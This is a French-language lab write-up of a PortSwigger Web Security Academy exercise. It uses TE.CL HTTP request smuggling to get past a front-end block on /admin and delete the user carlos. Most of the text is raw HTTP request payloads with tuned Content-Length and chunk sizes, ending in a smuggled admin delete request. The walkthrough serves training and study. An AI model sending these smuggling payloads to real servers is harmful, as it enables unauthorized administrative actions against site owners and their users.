> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-te-cl.md). # Contournement de la sécurité du front-end via TE.CL Notes sur le contournement de la sécurité du front-end via TE.CL pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation. ### Exploitation du HTTP Request Smuggling pour contourner les contrôles de sécurité du front-end, vulnérabilité TE.CL Le système est basé sur un serveur front-end et un serveur back-end. / Back-end **ne gère pas l’encodage chunked**, tandis que le front-end **verrouille l’accès à /admin**. / L'objectif est de **dissimuler une requête vers /admin** afin de supprimer l’utilisateur carlos. Bien que l’application prenne en charge HTTP/2, l’exploitation repose sur des techniques propres à HTTP/1.

#### **Observation initiale** Le front-end interprète correctement `Transfer-Encoding: chunked`. / Nous envoyons d’abord une requête simple : ```http POST / HTTP/1.1 Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf Content-Length: 5 Transfer-Encoding: chunked 0 ``` #### **Construction de la requête smuggled** Un **nouvelle requête complète** est injectée dans le corps chunked. #### **Modèle préparatoire** ```http POST / HTTP/1.1 Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf Content-Length: taille Transfer-Encoding: chunked taille GET /admin HTTP/1.1 Host: localhost Content-Length: taille test=testing 0 ``` #### **Ajustement de la taille** Un minimum `Content-Length` côté front-end est fixé, suivi d’un chunk contenant la requête smuggled : ```http POST / HTTP/1.1 Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf Content-Length: 4 Transfer-Encoding: chunked 48 GET /admin HTTP/1.1 Host: localhost Content-Length: 22 test=testing 0 ``` Le serveur interprète correctement la requête injectée.

#### **Injection de la requête finale pour supprimer Carlos** La requête cible est remplacée par une suppression d’utilisateur : ```http POST / HTTP/1.1 Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf Content-Length: 4 Transfer-Encoding: chunked 48 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Length: 22 test=testing 0 ``` Cette requête smuggled est ensuite traitée directement par le back-end, contournant complètement le filtrage du front-end. ```http POST / HTTP/1.1 Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf Content-Length: 4 Transfer-Encoding: chunked 5f GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Length: 22 test=testing 0 ```

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